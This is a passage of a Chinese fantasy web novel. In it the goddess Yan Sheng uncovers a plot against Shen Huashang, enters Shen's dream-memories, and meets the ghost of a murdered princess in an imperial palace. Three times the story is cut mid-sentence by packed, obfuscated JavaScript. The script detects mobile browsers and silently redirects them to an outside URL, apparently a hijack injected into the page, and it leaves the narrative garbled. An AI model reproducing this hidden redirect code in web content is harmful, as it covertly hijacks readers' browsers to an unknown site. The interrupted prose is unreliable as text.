“你是说,沈华裳突然失控,是花影造成的?”颜笙突然想起花影说过要带着崔巍来到这里,“她这么大费周章,只为让众人看到她发狂,未免儿戏了。” “她是为了嫁祸给别人”崔瑶弯腰,捡起地上一枚香囊,伸手递给颜笙,颜笙仔细看着香囊的花纹,是显熠宫的花样,里面放着白蝉花的花瓣。 原来是冲着她来的?颜笙才意识到花影前段日子突然拜谒她,或许那时候就打算设圈套给她,但给她设圈套做什么,她又不会掺和神尊的家事。 “陆析”突然开口:“我以为花影这种没有实权的女子,断不会是有这种大力量。” 颜笙听懂了他的意思:“你是说,这是崔巍的意思?” “陆析”道:“若这事成了,事情就变成上神不轨,谮害凡人。若这事败了,也找不到神尊行凶的证据,传出去只会是神妃善妒。” 颜笙冷笑,“反正横竖都是女子的错,男人至死是巨婴,个个都是耳聋目盲的阳光大胎盘。” 元沁雪被这比喻逗笑了,说道:“陆师弟不怎么阳光的,上神可以放心。” 崔瑶听到这话,目光一滞,突然后悔和这位初来乍到的牛犊子聊八卦了。她僵僵地转头看颜笙,急道:“我义父一万多岁,早就能下地打酱油了。” “陆析”忽地嘴角微微地一抽,颜笙瞥见了,无奈地摇摇头。 旁边刻漏里的沙子快要流尽,他们意识到很快花朝节庆典就要开始了,可现在沈华裳的状况已经很难再领舞。 颜笙托腮思索着,忽而将视线投向旁边的元沁雪,问道:“我记得你爹只比我小五十岁,那么你也是大庚人?” 元沁雪点头,“我只比上神小不到百岁。算是同时代的人。” “这样就好了。”颜笙拉起元沁雪的胳膊,说道:“汝南袁氏也是士族,你小时候应该学过些才艺。” 元沁雪心说不会是让她冒名顶替吧,忙推辞道:“上神,我爹走了以后,我娘就带我去修仙了,跳舞不会,倒是小时候她逼我弹过几年琴,但也就只是能听的程度。” 不过这话她是白费口舌,颜笙认定的事很难改变心意,她似乎没听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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过去颜笙不是没想过和陆归年有过些精神切磋,比如吹笙弹琴。可陆归年偏要装作顾曲周郎,孰不知在颜笙眼里,她这是知道一点就在卖弄,越卖弄越觉可笑。 为了表现出他对颜笙的了解,他时常拾人牙慧,用些刁钻冷僻的词曲,不分青红皂白地去夸赞她的才艺。这反而让颜笙心里轻嗤他好几声。 有一次,颜笙的脸色直接变暗,把琴弦扯断,后面再也不在这头牛面前浪费才艺。她明白了,反正无论她做什么,他都会虚伪地捧着,也不用她费心讨好了。 曲毕,楼下掌声如雷鸣,领舞仍未卸下她的面具,朝着某处高楼的扇窗子望去,似乎实在等窗内人的反应。 窗内站着的另一个“陆析”,朝颜笙点了点头,淡淡道:“还行。比以前好一些。” 颜笙不知怎的,产生一种熟悉的感觉。她将观众赠予她的一朵花高抛,花心里藏着的仙及,提着那花飞进窗子,送入“陆析”手里。 “只有还行?”颜笙的声音通过仙及幽幽传来,语气带着得意笑意,“那是你不懂,不是我不够好。” 36. 霓裳曲(三) 颜笙推门进来,摘下了面具,瞧见“陆析”若有所思地盯着她,问道:“我是妆没卸干净,还是头饰没摘下来?” 此言一出,崔瑶微笑着看看“陆析”,又看看颜笙,露出意味深长的微笑,“也可能是上神好看,他多看了亿眼。” 元沁雪忽而问颜笙:“刚才您让我奏的是《瑶台蝉心吟》?” 崔瑶小声问“陆析”,“这是什么?”“陆析”摇摇头,表示不知。 颜笙观察到两人的反应,便说道:“这是混沌界的古曲,瑶儿在幽冥,陆析没有出生,自然都没听说过。” 元沁雪继续与颜笙讨论:“我记得已经失传,今日见到的竟然是完整版的曲谱。” 颜笙回答道:“是呢。我问他们曲目是什么,他们说是《瑶台禅心吟》,没想到这里平时只奏前十八段,后面十八段他们是不奏的。幸好我比你们年长,学的时候就是完整的。” 她走向角落,蹲身看向绑着的沈华裳,沈华裳如今情绪稳定不少,应该是因为听到了《瑶台蝉心吟》,这是她们童年时练习过的曲子。 不过沈华裳目光溃散,像一具无力的空壳。颜笙想唤起沈华裳的意识,便端来一盘荔枝,“从前你总爱和我争,我吃的水果你都要扒拉走。这些都给你。” 过去的颜笙也是极少嗜甜,家里人端来水果,她往往也只拿一两块,剩下的水果最后都入了沈华裳腹中的杂货铺。 可是荔枝端过来时,沈华裳却没有任何反应,倒是便宜了馋嘴的元沁雪。 沈华裳忽地皱起眉头,紧咬着嘴唇,下唇甚至渗出了血,似乎在忍耐被情绪控制。 颜笙看出沈华裳是为了压抑情绪不惜伤害自己,指甲和嘴唇就是血淋淋的证明,便对她施加了昏睡咒,趁着她昏睡时,暂时撬开了她的牙关,解救了她伤痕累累的下唇。 她刚松一口气,忽感到一股凉气。 沈华裳睁开了眼睛,紧接着颜笙抬眼,两人视线交汇了一瞬。 颜笙赫然倒地,被一侧的“陆析”扶住。 崔瑶不禁对“陆析”脱口而出:“义母这是怎么了?” “被沈华裳吸入了识海”,“陆析”看了一眼崔瑶,吩咐道:“你先在这里守着,我去找她。”随后他也脱出意识,潜入沈华裳的识海。 元沁雪目瞪口呆,回想起刚才崔瑶那句‘义母’,突然意识到她好像撞破了什么显熠宫辛酸秘闻,便向崔瑶问道:“前辈,我们要不要也进去?” 崔瑶捂了一下脸,“我们若是进去了,颜笙上神倒是没意见,但恐怕要被刚才那男人记恨上。” 默默地把两具空的躯壳并肩摆坐在一起,又对元沁雪指示道:“我们两个负责守着这俩活祖宗吧。” 正忙碌间,忽而窗外飘来一道白雾,缓缓飘向疯癫的沈华裳,被她呼吸之间纳入了识海。 * 颜笙睁开眼睛时,看见了今年的第一场雪。 她坐起来,瞧见母亲韦氏坐在床头,端给她一碗温温的汤药,嘱咐她趁热喝下。 韦氏是急脾气,做什么事图一个快,最受不了别人矫情,颜笙因此并不多言,双手捧着碗,慢慢灌下去,苦涩的汤药全都咕嘟咕嘟进了肚子。 韦氏满意地撤走药碗,又说道:“楚楚,等你病情好转,下个春天你爹就把你送去飞云观。” 飞云观就是抱朴派的前身,是此时蜀地最大的道观。 颜笙记得这一年她十七岁,根据本朝律法,十五岁以上未有婚约,会被罚款,十七岁以上未有婚约,官府会将女子抓去强行婚配。 现在的情况是和颜家地位对等的世家,都不肯让自家儿郎与颜笙相配。颜家又不算是一等世家,仅她旁系的叔父在本朝有点话语权。她父亲那点力量,也没办法令世家愿意牺牲男丁冒险娶“克六亲”的颜笙。 颜笙不由感慨:“这些男人倒真是个个惜命如金。避我这‘克六亲’的命格如蛇蝎,却又上赶着入朝为官,也不怕那“杀子比虎毒”的昏.君,和他那摇摇欲坠的江山,和后面堪比人族灭世的战乱。” 韦氏赶忙堵住她的嘴:“瞎说什么?官家说我们是太平盛世,我们就是太平盛世太平年。” 颜笙拿开韦氏的手,“上年腊月我生辰日,咱家门口还有冻死的卖炭翁呢。” 颜太守路过时听见了这话,不由得摇了摇头。他将颜笙送去飞云观,是为了防止她被盲婚哑嫁。颜笙小时候性格懦弱,他担心嫁得不好会受欺负。 谁料,她这一病之后,竟像变了个人。 颜太守不知,这颜笙确实不是之前的颜笙了。 十七岁的颜笙可没她如今的洒脱,毕竟小小年纪遇到一堆烦心事。昔日好友换走她的亲事,却是她被人指摘,换谁都憋屈。 憋屈久了,这才把自己憋屈病了。 一回生二回熟,颜笙这次回到过去,重新经历这场挫折,她却想得很开。 再过几年,大庚会遭遇一场毁灭性战争,去飞云观并非是坏事,也就刚入门时候扫地和擦天道神像有点辛苦,其余时候比在家里清闲。 只是她又会经历一次父母惨死。 颜笙望着母亲的背影离去,眼眶不由得湿润了。 只过三日,颜笙的病情好转很多,能够下床了。她本身已经成神,身体自愈能力强。 颜笙想了想,带着两个丫头离家,以祈福还愿的名义,自行前往飞云观。 进观,她直奔供奉天道的神殿,仰头瞧见里面有十人高的天道神像,随手拿起一根香,恭敬地拜了拜。 颜笙在心里祈祷:“这次我又要逆命而行,希望天道能暂时开恩,暂时不要收走我的命,事成后我立刻出家侍奉您。” 后背忽然有点凉飕飕,她转头看向殿门,外面的风雪飘得很急。 一辆马车在风雪中行进,陆贺年坐在马车里。 少顷,车停下来,临时雇佣的仆人请陆贺年下车。陆贺年走下马车,抬头瞧着颜家的门匾。他指挥马车里的媒人下车,又带着准备好的薄礼,敲响了太守府门。 * 颜笙回家时,瞧见韦氏站在家门口等她。韦氏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082752|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一见颜笙踏过门槛,便喜滋滋挽着颜笙,又询问丫鬟们,今日她们去飞云观做了什么。 旁边的丫鬟如实奏报:“我们娘子只去了天道的庙,拜了拜,又伫立在那里良久,应该是许了愿望。” 韦氏笑眯眯地看着颜笙,询问:“什么愿望啊,可否同母亲分享?” 颜笙摇摇头,心说总不能告诉他们,自己是找天道报备的。 夫人旁边的丫鬟笑眯眯地表示:“肯定是姻缘。娘子她最愁的不就是这个?” 说罢,她从袖子里掏出一个签,递给韦氏:“夫人,您忘了上次您去玄鸟寺的时候,那神庙的蒲垫没了。正要离开的时候,签筒竟自行晃动,掉出来一个签。” 韦氏看了一眼签诗,是当日的那支,便递给了颜笙,竹签上面写着“此桩姻缘天注定,劝君归家且宽心。” 颜笙摸着那签诗,心说她不记得上一世遇到这出事。 韦氏命人拿出一锭银子赏给拿签的丫鬟,惊叹道:“别说这玄鸟寺的子颜娘娘倒是真灵验。回头我去捐点香火钱。” “子颜?”颜笙听完这话愣了一下,“不对,我这时候还没成仙。” “病糊涂了?”韦氏搡了一下颜笙脑门,“子颜娘娘是玄鸟时期人,你才多大?” 颜笙正托腮纳闷着,母亲便遣人送颜笙回去,又派人去趟来福客栈,说是通知住在里面的公子,让他派媒人问名纳彩等过过定亲的流程。 还真怎么突然间多了一门亲事?这和原本的命运不一样。 颜笙想到这里,这几日愁眉苦脸着。 原本以为开春就能去飞云观,现在被世家待嫁女的身份束缚,也彻底沦为绑着双脚的小鸟了。她是插翅难飞了,还怎么去救沈华裳? 韦氏看颜笙表情如此,以为她犯了闺愁,舍不得离开父母,便劝道:“最近皇帝越发昏聩了,到年纪了该退下皇位却没有,疑心病还重,把先皇后的太子杀了。太子乃国本,国本动摇,前途不明。找个权力以外的男子更能保住性命” 颜笙点头,想到颜家后面的际遇,叹了一口气,确实现在社稷风雨飘摇,皇宫都要失守,核心权力圈都无法保证自己家眷平安。还是远离的好。 不过,早晚她都是天道之妻,那个要娶她的人,会不会担不住她的命格。 颜笙是想取消婚约,但这时代父母之命媒妁之言,她阻止不了成婚。婚事紧锣密鼓地筹备着,她也提心吊胆,生怕那新郎一不留神让天道收拾了。 这样的担心是多余的,那新郎挺过了来年,而他们的婚期逐渐临近。 颜笙没见过新郎,这时候男女不可以随便见面。一般而言,男女可以在清明寒食上巳的小长假里相约踏青,可颜笙的婚事定得极赶,大婚日恰好是来年开春。 婚期已至,那男子将她接入了自己宅邸。 颜笙坐在婚房里,等着新郎去宴请宾客,她觉得空气有点闷,便径自撩起盖头,向四周环顾。 这府邸不大对劲,竟然和显熠殿一模一样。 难道说她被天道抢婚了? 37. 霓裳曲(四) 颜笙想到这里,心凉了一半。 陆归年当初是动真格的,要和她圆房,否则他也不会因为手边没有任何防身武器,被她找到时机杀夫证道。 而且现在的颜笙,对和陆归年圆房这件事的抵触感更胜从前,以前她只是觉得大婚夜难以下手,大不了小小牺牲下自己,在他身边先蛰伏着,回头再找机会动手。 但现在的颜笙心境有所改变,完全不想和自己不爱之人发生点什么。 不过颜笙不打算再度杀夫证道,不是她可怜陆归年,而是这里是沈华裳的识海,她不知道在这里杀害天道会否导致什么后果。 颜笙把头上沉重的凤冠摘下,想起来显熠殿寝殿内的密道机关,秉烛在机关位置周围摸索着。 有脚步声渐近,身后突然传来一句:“这里还没来得及建暗道。” 颜笙挺直脊梁,缓缓地回头,瞧见后方穿着婚服的男子,狭长的眼睛犹如睡眼惺忪的凤凰,随即惊得她将手中的烛台滑落在地。 “怎么是你?”颜笙大惊失色,来人怎么会是“张脆枣”。 地上火焰只燃烧了一刹,陆贺年便施法把地上的蜡烛熄灭。 他欣赏着颜笙精致妆容下的面庞,水盈盈的杏目和樱桃色的薄唇,脸上挂着受惊小白兔般的表情。他已经很久没见过她这副模样了。 这让陆贺年不禁有些怀念,便打趣道:“颜儿,天干物燥,小心火烛。” 颜笙忽想起来,这称呼一般不是喊她颜笙,而是陆家兄弟用来唤子颜的。 这不对劲。 又一想这可能还是梦,一个重生的梦,解释不通的事存在也正常。 毕竟颜笙不止一次梦见自己和这男人做些亲密的事。不过她也不感到羞耻,毕竟梦这种东西只有她自己知道,醒了以后也不会有人记得。 颜笙心头窃喜,便把蜡烛捡起来,故作潇洒地丢给陆贺年,又带着命令的口吻说:“你把蜡烛收好,这年头蜡烛昂贵,不怎么经摔。” 陆贺年把蜡烛摆回桌面,又点燃火焰,说:“依照这习俗,喜烛要一直亮着,直到燃尽,这样才吉利。” “不熄灭蜡烛,那你今晚不睡吗?”颜笙说完这话贴在他身侧,脸上两抹彤云显现,又小声嘟囔:“我听说教习嬷嬷说,多数新婚夫妻在天亮之前都是难眠的。” 陆贺年看了一眼外面攒动的人影,“外面那么热闹,也没法安睡。” 颜笙才意识到,大婚的日子里,婚房外面总有人在听墙角,“其实我不在意。”说完,她便拉一下陆贺年的衣角,传音道:“洞房花烛也,你好歹做点什么。” 陆贺年余光瞥她一眼,还小声说一句:“坐好。” 这勾起了颜笙的好胜心,她攀上他的脖子,小声道:“你害怕什么,难道是怕被我杀夫证道。” “你应该杀不了我。”陆贺年轻握住她的手腕,小声又提醒一句,“你娘看着呢。” “让她看见我们感情不好,明日又要念我。所以……”颜笙边说便把陆贺年推倒,又反手去捞床帘,但一摸感觉触到了冰凉坚硬的东西,那触感像是玉石瓷器。 颜笙转头,瞧见韦氏幽灵般站在床边,以不忍直视的眼神看着她,旁边还站着个憋笑的丫鬟,端着一壶酒,和两个白玉酒杯。 她竟忘记洞房前还要喝交杯酒和结发。 颜笙脸上热辣辣的,赶紧恢复坐姿,理了理头发。 韦氏瞪了一眼颜笙,有点羞愧对陆贺年解释道:“不好意思,楚楚在家也不这样,平时娴静得很,大概是一见贤婿便心生欢喜。” 颜笙跟着点点头,整张脸连带着耳朵和脖子都红透了,陆贺年谦谦道:“无事。丈母莫要太过挂心。” 韦氏给两人结发,又把酒和酒杯放在床头小桌上,便退出了新房,顺便赶走外面的围观者。 等确定人都走了,颜笙把帘子放下来。陆贺年惊讶于那个表面不咸不淡的颜笙上神,今日会显得这般着急,感觉以前子颜也不会如此。 不过,陆贺年心头的遗憾是没能和子颜正式成亲,这会儿心愿达成,眼前着婚礼流程快要走完,有些执念地问道:“不喝交杯酒吗?” 颜笙仍当这是一场梦,托腮稍微思考了一番,缓道:“万事瞬息万变,就跟上次你跟我在神庙里似的。我怕喝完酒,你就又不见了。” 说完这话后,颜笙把盘中的两杯酒全都灌下去自己的肚子,心说反正做梦也不会喝醉。但喝完酒之后,她的双目有些涣散。 神庙?酒? 陆贺年还在回味颜笙刚才的话,突然想起来,这不是他们两个在一万多年前发生的事吗?他记得自己当时没走,后来还追出去道歉,他们在此之后,保持很久的秘密关系。 正当他困惑不解的时候,一晃神,发现颜笙凭空消失了。 * 颜笙看着眼前的陆析,说道:“你好端端跑来找我做什么?” “自然是不想看你被人占了便宜。”陆析说道。 颜笙心说陆析竟连别人做梦都要管,凡人果然多事。他恰好还长着一张和陆归年相同的脸,仿佛是来查岗的。 颜笙不满道:“你可真是欠杀,入梦都要多管闲事。我都和梦中情郎拜堂了,就差洞房了,偏偏叫你这个冒牌货搅和了。” 陆析听罢泛起醋意,焦躁地表示:“那你就和他一辈子困在沈华裳的识海里,做一对恩爱夫妻吧。” “识海?”颜笙听到此话着实吓了一跳,她又施法探索了一下周边,这里还真是狭小的识海,不远处就是识海的边界。整个识海之中的世界并非连续的,可探索的只有三个地点:家里、皇宫、飞云观。 陆析忽而提议:“那我们明天就去长安。” 颜笙很快地答应,她有点心虚,毕竟陆析顶着和陆归年相同的脸,撞见她对“张脆枣”行不轨之事。她企图蒙混过去今晚:“行了,天色已晚,你下去睡吧。” 陆析似乎没考虑太多,只道:“上神,不知现在外面如何,可否调出仙及?” 颜笙同意了,便调出仙及那边的画面。 仙及睡得正香,听到颜笙的命令,赶紧飞上楼顶,瞧见楼上的窗子四敞大开,便飞了进去。它瞧见花影正扼住沈华裳的脖子,缓慢地收紧力量,崔巍在旁边静静地看着。 沈华裳痛苦地挣扎,但声音传不到外面,被崔巍支起的隔音结界当着,一只蝉在疯狂地撞着结界,而元沁雪和崔瑶两人正守在陆析颜笙的躯壳旁边打瞌睡。 救救我—— 沈华裳的喉咙被掐着,发不出任何声音,只能在心中痛苦地哀求。 崔瑶被这心声唤醒,睁眼瞧见了花影和崔巍两人,吓得赶紧推醒元沁雪,大叫:“出事了——贼尊杀回来了。” 崔巍听到自己的亲孙女称呼他为贼,眉毛尴尬地一挑,把声音结界打开,威胁道:“瑶儿怎,能说出这等大逆不道的话,改日我需要与六郎好好聊聊。” “哦。”崔瑶并不在意,展开右手掌心,浮出一块发光的紫色魄石, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086344|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又说道:“您说崔六,我的生物学父亲?他看着呢,您有什么要说的,直接跟他说。” 她轻轻一点紫色魄石,上方浮现出清凉殿的画面,清凉殿内正在举行一场私人聚会,形形色色的神仙路过这枚魄石,有些神仙伫立在侧静静观察魄石,像是看见了什么有趣的东西,又拉着更多的神仙加入围观。 不少神仙惶恐的神色,对着魄石里的崔巍指指点点。 崔巍惶恐,他惧怕自己多年经营的和善形象尽毁,欲夺走魄石。他对着崔瑶施展高阶法术攻击,不过这些法术施展得太慢,崔瑶轻松闪身避开。 崔瑶把紫色魄石扔上天空,仙及呼扇着薄翼从侧面冲来,用全部爪子抱住魄石,随后头朝窗外飞去。 外面漂浮起一盏绿灯笼,仙及把魄石传送到绿灯笼附近,随后松开爪子丢下魄石。一只橘猫接住那块魄石,把魄石的正面对准窗内。 崔巍朝着窗外的绿灯笼投掷仙术,企图打落那盏灯笼,但灯笼周边竟弹出金色的防御罩,不光把崔巍的仙术攻击弹回,还把那道仙术调转方向,将正在行凶的花影打伤。 那是颜笙离开前,在灯笼上提前施加的防护罩。 崔巍带着花影两人见形势对他们不利,继续耗费下去毫无意义,便匆匆离开了。 脱离了危险后,元沁雪救下沈华裳,给她喂下父亲给她的吊魂散。沈华裳服药后,没多久再次昏睡回去。 * “外面倒是没什么事。”颜笙松了一口气,放下操纵绿灯笼的手,看着陆析:“还好你提醒我一句,不然我们两个要被永远困在这里了。” 陆析道:“即使没有你出手,崔攸霁和袁思邈也要赶过去救人。不过因为你的出手,崔巍的面目已经暴露出去。” 颜笙说道:“他能装到现在也是不容易。” 陆析却说:“心思如何,必定形在外表,这就是相由心生。” 颜笙点头,借故讨好道:“说得对,所以我一见你便心生信赖。” 陆析淡淡一笑,这话他是不信的,陆归年拥有和他相同的长相,也不见得她给出多少信赖,还不是因为他迟到了,就捅他一刀。 次日,颜笙寄了一封书信给母亲,谎称和人私奔到永安。至于那个长得像“张脆枣”的夫婿,她以为那不过是自己的幻想,所以也没挂在心上。 解决了家务事,颜笙便和陆析去了趟皇宫。抵达皇宫后,两人稍微打听一番,才知道今日皇帝宣八王和八王妃两人进宫侍奉病重的继后。 继后所居住的地方是甘露殿。颜笙和陆析伏在碧瓦之上,瞧向微敞的窗户。 沈华裳正站在里面。 颜笙给陆析和自己施加了隐身术,随后跳下房梁。房内正巧有宫女出来,两人趁着大门打开之际,进入了殿内。 颜笙瞧见了帘后正潦倒病榻的继后。 继后额头盖着一块冒着热气的湿毛巾,眉头紧蹙着。她的面容虽有所衰老,但至多不超过四十,又锦衣玉食,容貌比刚过三十的女子还要年轻。 况且她生得慈眉善目的,眼睛里面的黑眼瞳极为明亮,鼻梁中直,不像是传言中为了儿子而谋害太子的恶人。 再说,一个嫔妃明目张胆地谋害太子,皇帝怎会不知? 不止是继后,包括后面的沈贵妃。身为一个皇帝,竟然屡次三番被后宫女子掀风起浪,这也挺巧合的。 被掀一次是巧合,被掀多次那就不是巧合了。 这皇帝是不是该找自己的问题? 38. 霓裳曲(五) 史书上说,民间流传继后谋害皇帝原配皇后所生的太子。而太子的冤魂滞留在后宫,不肯离去,每晚都在入梦找继后索命,这才把继后吓病了。 颜笙抚向继后的手腕,细细诊断。 照理说,若是继后的传言为真,她的病应该和陆贺年战后的病差不多,由于惊吓过度导致心脉过度应激。可她的心脉跳得有些慢,更像是受药物影响导致的心脉衰竭。 另外,身中邪祟者尺脉关闭。继后的尺脉仍正常跳动着,她根本没有中邪。 “她的病似乎是中毒。”颜笙说道。 陆析点头,“还是慢性毒。估计是身边亲近之人。” 颜笙讥诮道:“这下毒的一定不是皇帝,皇帝那人倒是个单纯老巨婴。” 这个朝代的史书里,后宫女人总是怕鬼的。 哪怕这女子权极一时,把儿子、女婿和孙子都杀了,把儿子的皇帝位都夺了,敢改朝换代。如此胆大包天的女子,在男史官撰写的史书里,她也会惧怕后宫柔弱嫔妃的鬼魂而彻夜难眠。 两人在旁边等了一会儿,听见皇帝突然宣沈华裳去若轻宫面见圣上。颜笙警铃大作,这若轻宫是游乐的行宫,哪有家翁宣儿媳去这种地方的。 继后也极为紧张,紧紧抓着沈华裳的手,不肯放她离开。 沈华裳对这一天的到来早有预感。 记得刚嫁给八王高町后,参与第一场皇室家宴时,她感觉有黏腻的目光打量着她,如同蜗牛般在她身上爬上爬下。 她瞧回去,发现那目光竟来自皇帝。 皇帝的目光中似是在怀念什么。 沈华裳也无可奈何,轻轻叹息两声,说道:“皇后娘娘,我先出去一趟,应该,应该很快就回来。” “羽之,”继后唤了一声沈华裳,攥着沈华裳的手腕不肯放开,喃喃自语,“你先别走,先去把我宫中金丝笼里的鸟儿都放了。它们也只是被诱饵蒙蔽,才走进了笼子。” 沈华裳深呼出一口气。她挣开继后冰冷的手,把她的手塞回温暖的锦被。 炉内苏合香燃尽,沈华裳转身告辞,榻上的继后流下两行清泪。 殿外面站着皇帝身边贴身伺候的苏内侍,他一把年纪下巴无须的,笑得极虚伪恶心。他这趟过来,便是亲自接沈华裳去若轻宫。 颜笙拉着陆析跟在两人身后,很快抵达若轻宫。 皇帝宣沈华裳进朝云殿。她沿着长廊走着走着,发现身边的随从渐渐变少,等她到达最里面的那间宫殿时候,左右皆被屏退,只剩下那位苏内侍。 殿内烧着白蝉花制成的香料,但香料许是放多了又加了别的杂七杂八的东西,让本来清新淡雅的栀香变成了浓重艳俗的味道。 宫殿内,皇帝正着背手赏着窗边的白蝉花, 苏内侍告退了,只留下沈华裳和皇帝两人。 皇帝见沈华裳在门口,故作亲切地招招手,“靠近一点,离得远看不见这花。” 沈华裳其实不是很情愿靠近。 每靠近一步,她就能闻见香料也掩盖不住的古怪气味,像是半只脚跨进棺材的腐烂味道,这味道通常不会出现自年轻人身上。 皇帝年轻时候也被人称相貌堂堂。但或许相由心生,年迈后尽管身材臃肿,眼窝却深陷,皮肤因食用五石散过度而坑坑洼洼。总之,现在的他和隽朗两字无缘。 沈华裳压抑着自己厌恶,战战兢兢地站到皇帝身侧,瞥见那盆特意栽植在瓷盆中的栀子花,颜色是洁白的,花心却团在一起,仿佛早已溃烂似的。 皇帝卖弄着自己文采,临时起兴编几句花诗,句句是不同风格。 沈华裳听出某两首像翰林院新来的两位诗人的风格,但她也不敢道出疑虑,只能钝钝地点头。 垂老腐朽的皇帝盗用年轻诗人的饱满灵魂,弥补他已经丧失的雄风。等以后要见真章时,他哪怕自己不行,也还要借用别人的家伙,强行灵魂苟合。 皇帝看沈华裳一言不发,以为她是被自己的雄风熏晕了,不由得洋洋得意。 旁边颜笙早已被那皇帝恶心到不行,忍住想要捶死他的冲动,将注意转移到别处。 她注意到角落处的黑影,扯了扯陆析的袍子,指了指角落里的女神像,“那里有个鬼。” 角落放着一尊她模样的神像。不过这神像不是颜笙像,颜笙在现实中的神像通常是老太太形象。而大庚年间的颜笙还未成神,这应该拜的是玄鸟公主子颜。 诡异的是,子颜是玄鸟年代的人,神像却穿着大庚朝的衣裳。 子颜像前跪着一位女鬼,身穿紫色凤纹锦袍,模样看着二十多岁,十指白净而细腻,看起来养尊处优,保养得极好,实际年纪也可能是三十多岁。 两人走过去,颜笙拍拍女鬼的肩膀。 女子起身面向两人。 她头上的凤钗斜斜坠在凌乱的发髻上,钗上的凤凰鸟折了翅膀。她锦袍自然垂坠,袍子整齐洁净。她颈间勒着一道深紫的淤痕,但没有吊死鬼狰狞的丑态。 天道厌恶不珍重自身生命者,自尽、自残和自损者,往往死后不得转世,面容也保留他们死前的丑陋模样。 这位面容干净的女鬼,显然不是自裁而亡,而是被他人用绳子活活勒死的。 凌乱发丝遮住女鬼半边额头,她以空洞的眼神死死盯着颜笙,嘴上下动了动,但没有声音。 她口中填有麸糠,使得她无法向人伸冤,只得望着颜笙泪流不止。 颜笙看清楚她的脸,天庭饱满而宽广,身穿着尊贵的凤凰花纹的锦袍,她觉得衣着格外眼熟,想了半天终于想起来这人是谁。 她低声跟陆析讨论:“好像是花朝公主高宁,我两世前的……熟识。” 女鬼泪止,叹了一口气,点了点头。 陆析脑海中闪过天道陆归年的记忆,颜笙在成为颜笙前,是有过那么一世轮回在大庚朝。她原本是婢女,父亲枉死,她被王后收养,成为公主伴读。后来王后继承王位,将她扶持成宰相。 当今皇帝的姑奶奶就是那女皇帝,而高宁是那位女皇的长女,正是颜笙前世萧知颜侍奉的那位公主。 天道给颜笙安排的命格总有众叛亲离这一出,对应子颜父母伤害无数家庭夫妻离心、兄弟阋墙。所以后来长公主和当今皇帝发动政变时,当今皇帝趁机杀了萧知颜,她在临死前体会一把背叛。 后来高宁的结局也没好到哪里,听说她被萧知颜的鬼魂缠上,最后受不了噩梦折磨,在三年后悬梁自缢了。 高宁的鬼魂忽而飘到一处幽暗的长廊。颜笙想要跟过去,但她担心沈华裳安危,便叫陆析守在这里。 高宁的步速不缓不急,仍保持公主的尊贵,他们走在幽暗的长廊里,突然两人就走到了尽头。 颜笙停下来,对着金灿灿的墙壁正纳闷,却见花朝公主突然穿入墙内。 这是在耍她?可是高宁口中填有麸糠,定是有人害怕她去伸冤,她应该是有冤情。 走廊处的灯突然亮了。有位宫人说他西域上贡的夜明珠丢了,一伙宫人列队而来。他们在两墙边,挪动着桌椅,四处翻找。 突然一颗珠子悬空,弹到墙壁上,又落到地毯上。 有位宫人看见了,伸手捉住那颗珠子,举起来高喊:“我找到夜明珠了。” 领班宫人走来,宫人双手捧上珠子。领班举起珠子,在烛光旁边端详一下,说道:“这正是丢失的夜明珠,怎么会在这里?” 有位老宫人凑头:“这地方闹鬼。平时陛下都不准我们开这里的灯,也不准我们进来。” 这深宫里闹鬼的事屡见不鲜,不过在宫内最卑微的宫人们眼中,比起鬼怪,宫里的那些主子更加可怕。 领班责令大家撤离此地,并交代今日之事不许对外说出去,随后一行宫人离开这条长廊,还把灯关上。 颜笙想起来,那夜明珠刚才撞击的地方,似乎正是高宁失踪的地方。她轻轻碰了碰墙壁,发现那竟然是空的。 这里面有东西。 颜笙对着那面墙四处敲敲,终于敲到了机关。她一碰机关,那堵墙中间竟出现一个暗道。 皇宫内有暗道并不奇怪,这是为了应付兵变等突发情况。宫内的小主们能够通过暗道,第一时间离开皇宫。 颜笙点了明灯咒,在暗道里面摸索着。 这条暗道极为悠长,她走了大约一炷香时间,才算是摸到尽头。她把尽头的那扇门打开,发现出口连接到另一处宫殿。 出口处摆着一盆牡丹花。花瓣上面沾着露珠,像是刚被浇过水。露珠倒映着花瓣的红艳颜色,像是一粒粒血滴。 高宁瘫软地躺在榻上,面容消瘦。两位宫女走来,将她扶起来,为她清洗面颊和手臂,将她的长裙打理整齐。 高宁手里攥着一枚染血的金钗,始终不肯撒手,仿佛飞走了魂魄般,神情恍惚着,嘴里喃喃道:“知颜呢。” “您又忘记了,她在嘉德五年的花朝节就离世了。”宫女回答。 “对啊,”高宁叹了一口气,“是我亲自为她敛尸下葬的。那可真是一场风光大葬,规格比之皇后都不差。”她回忆着葬礼的场景,眼眶微微泛红。 颜笙胸中一阵刺痛,仿若有万箭穿心。她对该世的记忆,只停留在自己为万箭穿心。很快地,陆归年就接走了她,带她进入了下一世。 对于萧知颜的身后事,她也是今日才知。 她想要走过去,替公主重新挽好发髻,但手却像穿过虚影,根本无法触及公主分毫。 